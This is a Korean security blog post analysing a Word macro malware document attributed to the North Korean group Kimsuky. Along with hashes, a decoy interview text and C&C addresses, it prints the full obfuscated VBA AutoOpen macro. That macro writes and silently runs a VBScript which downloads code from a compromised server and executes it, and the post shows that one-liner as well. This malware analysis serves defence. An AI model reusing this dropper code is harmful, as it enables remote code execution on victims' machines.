꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있습니다.
일단 요즈음 뉴스 보니 가상화폐(암호화폐)로 4조 탈취해서 ICBM(대륙간탄도미사일),핵개발등 아무튼 세계 평화에 도움이 안 되는 짓을 했다고 뉴스를 보았습니다. 4조면 밥에다가 소고기, 돼지고기, 치킨에 맥주를 해도 베풀리 먹을 수가 있을 것 같은데.
일단 유포되는 파일명은 다음과 같습니다.
document.doc (copy)
~WRD0000.tmp
아무튼 오늘은 document.doc (copy).doc이라는 오래간만에 매크로 된 악성코드를 분석을 해보겠습니다.
파일명: document.doc (copy). doc
사이즈:40.5 KB
CRC32:8274ed52
MD5:eabac2151828caacfa7c253d84a7b891
SHA-1:20695355bf0d88a3f81b8adf45c5f0bd6bf9dcce
SHA-256:107f319f6a0f9cfc054aa725553a0452b0125da10784d0270befc5d0b75549a8

document.doc (copy) 워드 악성코드 실행시 내용
document.doc (copy) 워드 악성코드 실행시 내용

일단 먼저 해당 글은 특정 정치인 및 푸른 산에 빨간색으로 색칠하든 말든 여기는 색칠 공부를 하는 곳이 아니고 악성코드를 분석하는 곳이고 그리고 해당 악성코드 문서에 나온 글을 통해서 대충 어떤 시기 인지 확인을 하기 위함 이기 때문이며 정치 이야기하고 싶은 분들 해당 주인장은 정치하고 관련 없는 블로그이기 때문에 정치성 글은 삼가 부탁합니다.

일단 문재인 전 대통령 시절에 통일부 전장관 이인영 장관이 나오는 것을 볼 수가 있고 해당 내용을 인터넷에 검색을 해보니 2020.11.26 에 기사가 보이는 것을 보아서 해당 기사를 응용해서 질문 형식으로 돼 있는 것을 확인할 수가 있습니다. 아마도 기자, 대북 관련 종사자, 아니면 대북 업무를 보는 정치인들을 노린 것이 아닐까 생각이 됩니다.
해당 워드 내용은 다음과 같습니다.

그간 이인영 통일부 장관은 백신 등 보건 협력 필요성을 거듭 제기했고 
정부 내 공감대도 형성된 것으로 전해졌는데요. 보건 협력이 남북 관계 판을 
바꿀 수 있는 중요한 매개가 될 수 있을까요?
Q. 현재 북한도 백신이나 치료제 지원이 절실한 상황이라고 보십니까?
Q. 북한이 통상 4월마다 열리던 최고인민회의를 수개월 앞당겨 1월에 개최하겠다고 
발표했는데요. 8차 당대회를 비롯해 1월에 주요 정치 일정들이 몰려 있는데 
어떤 메시지가 나올 거라고 보십니까? 
Q. 1월 8차 당대회를 기점으로 남북 관계에도 일정 부분 변화가 있지 않겠느냐는 
전망들이 나오는데요. 여기에 대해선 어떻게 보십니까? 
Q. 한반도 평화를 고민할 때 미중 관계를 고려하지 않을수 없습니다.
바이든 시대,미국과 중국의 관계를 어떻게 전망하십니까?

그리고 언제나 보안 경고 매크로를 사용할 수가 없도록 설정했습니다. 콘텐츠 사용이 있을 것인데 여기서 콘텐츠 사용을 하면 이제 악성코드가 본격적으로 활동을 시작합니다.
일단 해당 워드 악성코드를 실행하면 다음과 같이 동작을 합니다.

ProcessExplorer 로 악성코드 실행
ProcessExplorer 로 악성코드 실행

"C:\Windows\System32\wscript.exe" //e:vbscript //b 
C:\Users\사용자\AppData\Roaming\Microsoft\Office\version.xml

ProcessMonitor(프로세스모니터)를 이용을 해서 보면 더 자세하게 알 수가 있습니다.
일단 해당 명령어 설명은 다음과 같습니다.

ProcessMonitor 본 악성코드 동작 확인
ProcessMonitor 본 악성코드 동작 확인

Windows 운영 체제의 wscript.exe 를 사용하여 VBScript 스크립트를 실행하는 명령어를 사용하고 있으며 해당 명령어는 C:\Users\사용자\AppData\Roaming\Microsoft\Office\version.xml 이라는 파일에 대해 VBScript 스크립트를 실행하도록 지정을 합니다.
여기서 명령어의 옵션인 //e:vbscript 은 VBScript 엔진을 사용하여 스크립트를 실행하도록 지정시키고 //b 는 스크립트를 배치 모드에서 실행하도록 합니다. 

ProcessMonitor 본 version.xml 관련 부분
ProcessMonitor 본 version.xml 관련 부분

스크립트를 실행하면 스크립트의 출력이 표시되지 않고 명령어를 실행하는 동안에만 실행되고 일반적으로 배치 파일이나 자동화 작업에서 사용
그러면 다음과 같이 폴더에 version.xml 파일이 하나 생긴 것을 볼 수가 있습니다.
그리고 해당 파일을 열어 보면 다음과 같은 내용이 포함돼 있습니다.

version.xml 에 포함된 악성코드 업로드 주소
version.xml 에 포함된 악성코드 업로드 주소

On Error Resume Next:Set opst=CreateObject("MSXML2.ServerXMLHTTP.6.0"):opst.open
"GET","http://miracle.designsoup.co(.)kr/user/views/resort/controller/css/update/list.php?query=1",
False:opst.Send:Execute(opst.responseText)

그리고 해당 스크립트가 실행되면 다음과 같이 업로드 가 되며 해당 업로드 되는 사이트를 보니 영세한 사업자의 사이트를 해킹해서 C&C 서버로 사용하는 것 같습니다. 해당 스크립트에 대한 설명입니다.
해당 스크립트는 VBScript 를 사용하여 원격 서버로 GET 요청을 보내고 응답으로 받은 텍스트를 실행하는 기능을 수행을 진행합니다.
명령어를 단계별로 설명하면 다음과 같습니다.
On Error Resume Next: 해당 부분인 문장은 오류가 발생했을 때 오류를 무시하고 다음 명령문을 실행하도록 하며 해당 부분을 통해서 예외 처리를 통해 오류로 말미암은 스크립트 중단을 방지하려는 방법
Set opst = CreateObject("MSXML2.ServerXMLHTTP.6.0"): MSXML2.ServerXMLHTTP.6.0 객체를 생성 해당 객체는 HTTP 요청을 보내고 응답을 받는 데 사용
opst.open "GET", " http://miracle.designsoup.co(.)kr/user/views/resort/controller/css/update/list.php?query=1 "
False: 원격 서버로 GET 요청을 보내려고 open 메서드를 사용
URL에 지정된 주소로 요청을 보내고 False를 사용하여 동기식 요청을 설정
opst.Send: 서버로부터의 응답을 받으려고 대기
Execute(opst.responseText):서버로부터 받은 응답 텍스트를 실행 해당 부분은 받은 텍스트를 스크립트로 실행하는 역할을 합니다.

악성코드에 삽입이 된 매크로 명령어
악성코드에 삽입이 된 매크로 명령어

C:\Users\사용자\AppData\Roaming\Microsoft\Office
자세한 것을 보려고 매크로 편집기를 열어 보려고 하면 비밀번호가 걸려 있어서 확인하기 위해서 작업을 조금 합니다.
일단 매크로를 보고 나서 디버깅을 하면 매크로에 일부러 그랬는지 모르겠지만, 조건문이 프로시저 외부에서 사용되었을 때 발생을 하게 돼 있으며 오류가 안 나게 매크로만 해서 디버깅을 작업하면 다음 사이트로 이동하게 돼 있습니다. 매크로 내용은 다음과 같습니다.

악성코드에 삽입이 된 매크로 명령어 실행
악성코드에 삽입이 된 매크로 명령어 실행

Attribute VB_Name = "This Document"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const gwKlzhTNl = "JLkRKSVnjtI"

Function xkLRDglH(kDZJIuB)
    MsgBox "TsTvcarcLZ"
    xkLRDglH = kDZJIuB
End Function

If gwKlzhTNl = "CaHyMKWikKylZZJ" Then
    Const xGm = "UKQIe"
Else
    Const xGm = ""
End If

If gwKlzhTNl = "mseQSbcAFCrUMy" Then
    Const mzmb = "GBgFy"
Else
    Const mzmb = ""
End If

If gwKlzhTNl = "bSxLpArGJhEPOR" Then
    Const xl = "nhIWU"
Else
    Const xl = ""
End If

If gwKlzhTNl = "BCFpFdqcalmJ" Then
    Const LNxST = "AGauS"
Else
    Const LNxST = ""
End If

#If gwKlzhTNl <> "sIlLrctOERyij" Then

Sub ViewPage(nShape)
    On Error Resume Next
    Set doc = ActiveDocument
    Set sel = doc.Shapes(nShape)
    sel.Fill.Solid
    sel.Delete
    For ViewMode = 10 To 0 Step -1
        ActiveWindow.View.SeekView = ViewMode
        With Selection
            .WholeStory
            .Font.Hidden = False
            .Collapse
        End With
    Next
End Sub

Sub MainPage(bret)
    fn = FreeFile
    ui = "miracl" & xGm (&) "e.de" (&) mzmb & "signso" & xGm
    & "up." & xGm & "co.kr" & LNxST & "/us" (&) LNxST
    & "er/" & LNxST & "views" & xGm & "/resor" & LNxST
    & "t/cont" (&) LNxST & "rolle" & mzmb & "r/css/" & xl & "upd" & mzmb & "ate"
    rp = Environ("appd" & mzmb & "ata") (&) "\Mi"
    & mzmb & "cros" (&) xl & "oft\" & mzmb & "Off" & mzmb & "ice\v"
    & mzmb & "ersio" & xGm & "n.xm" & xl & "l"
    Open rp For Output As #fn
    hs = "On " & mzmb & "Error" & xl (&) " Re" & xG(m)
    & "sume " & xl & "Next:" & mzm(b) & "Set " & mz(m)b (&) "opst=" & L(N)xST &
    "Create" & mzmb & "Obj" & m(z)mb & "ect("
    mids = "MSXML2" & mzmb & ".Se(r)v" (&) xGm & "erXML" & LNxST & "HTTP." & mzmb & "6.0"
    hs = hs & """" (&) m(i)ds & """"
    mids = "):ops" & LNxS(T) (&) "t.o" & xG(m) & "p(e)n "
    hs = hs & mids & """"
    mids = "GET"
    hs = hs & mids & """," & """"
    mids = "http" & mzm(b) & "://xx" & mz(m)b & "x/li(s)" & xl & "t(.)php" 
    & xGm & "?quer" & mzm(b) & "y=1"
    mids = Replace(mids, "x(x)x", ui)
    ts = ", Fals" & xGm & "e:(o)" & LNxST & "pst.Se" & xGm & "nd:E"
    & xl & "xecu" & LNxST & "te(op" & (x)Gm & "st.res" & x(G)m
    & "pon" & mzmb & "seText" & x(G)m & ")"
    hs = hs & mids & """" & (t)s
    Print #fn, hs
    bret = False
    Close #fn
    Shell "wscri" & mzmb (&) "pt.e" & xl (&) "xe //" (&) xl & "e:vb" (&)
    mz(m)b & "scrip" & xl & "t //b " & rp, vbHide
End Sub

Sub AutoOpen()
    On Error Resume Next
    Application.ActiveWindow.View.Type = wdPrintView
    Set wnd = ActiveDocument
    wnd.Unprotect "1qaz" (&) xGm (&) "2ws" & mzmb & "x"
    ViewPage ("pic")
    wnd.Save
    MainPage (True)
End Sub
#End If

원인은 다음과 같습니다.
End Sub 다음에 If 문이 나와있기 때문입니다. End Sub는 서브루틴의 종료를 나타내는 키워드이므로, End Sub 이후에는 코드가 없어야 하는데 오류가 발생 #End If 문이 Sub MainPage(bret) 서브루틴 안에 포함돼 있어서 오류가 발생했습니다.
입니다. 최종적으로 접속하는 사이트는 다음과 같습니다.

HTTP Debugger Pro 본 악성코드 개인정보 업로드 주소
HTTP Debugger Pro 본 악성코드 개인정보 업로드 주소

http://miracle.designsoup.co(.)kr/user/views/resort/controller/css/update/list.php?query=1

인 것을 확인할 수가 있습니다.
HTTP Debugger Pro 보면 다음과 같은 결과를 확인할 수가 있습니다.

GET /user/views/resort/controller/css/update/list(.)php?query=1 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: ko-KR
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: miracle.designsoup.co(.)kr

인 것을 확인할 수가 있습니다.
그리고 사용을 하는 IP 주소는 다음과 같습니다.

IP Traffic

121.78.88(.)79:80 (TCP)
8.238.42(.)126:80 (TCP)

2023-06-12 09:10:15 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
Acronis (Static ML):Suspicious
ALYac:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Antiy-AVL:Trojan/MSOffice.SAgent.gen
Arcabit:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Avast:Script:SNH-gen [Drp]
AVG:Script:SNH-gen [Drp]
Avira (no cloud):W97M/Agent.8327111
BitDefender:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Cynet:Malicious (score: 99)
Elastic:Malicious (high Confidence)
Emsisoft:VB.Heur2.EmoDldr.6.8FDE8573.Gen (B)
eScan:VB.Heur2.EmoDldr.6.8FDE8573.Gen
ESET-NOD32:VBA/TrojanDownloader.Agent.VHA
F-Secure:Malware.W97M/Agent.8327111
Fortinet:VBA/Agent.8372!tr
GData:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Google:Detected
Ikarus:Trojan-Downloader.VBA.Agent
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.MSWord.SLoad.4!c
MAX:Malware (ai Score=80)
McAfee:W97M/Downloader.dkh
McAfee-GW-Edition:BehavesLike.OLE2.Downloader.px
Microsoft:TrojanDownloader:O97M/Obfuse!MTB
NANO-Antivirus:Trojan.Ole2.Vbs-heuristic.druvzi
Rising:Downloader.Agent!8.B23 (TOPIS:E0:N2Rj37hPkdP)
Sangfor Engine Zero:Malware.Generic-Macro.Save.4cb6547c
SentinelOne (Static ML):Static AI - Malicious OLE
Sophos:Troj/DocDl-ADYY
Symantec:Trojan.Gen.NPE
TACHYON:Suspicious/W97M.DRP.Gen
Tencent:Trojan.MsOffice.MacroS.11002729
Trellix (FireEye):VB.Heur2.EmoDldr.6.8FDE8573.Gen
TrendMicro:TROJ_FRS.0NA103GT21
TrendMicro-HouseCall:TROJ_FRS.0NA103GT21
VIPRE:VB.Heur2.EmoDldr.6.8FDE8573.Gen
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.VBS.SLoad.gen
이고 프로세스모니터를 이용을 해서 보면 IRP_MJ_CREATE,FASTIO_NETWORK_QUERY_OPEN등을 사용을 해서 파일 시스템의 동작을 추적하고 모니터링,네트워크 관련 파일 열기 쿼리등이 발생을 하는 것을 볼 수가 있습니다.

일단 기본적으로 백신프로그램을 사용하고 기본적인 보안 수칙을 지키는 것이 안전하게 사용을 하는 방법입니다. 물론 안랩 V3는 탐지하지 못해서 해당 악성코드는 일단 신고는 했습니다.(2023.6.13 17시쯤 신고)

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band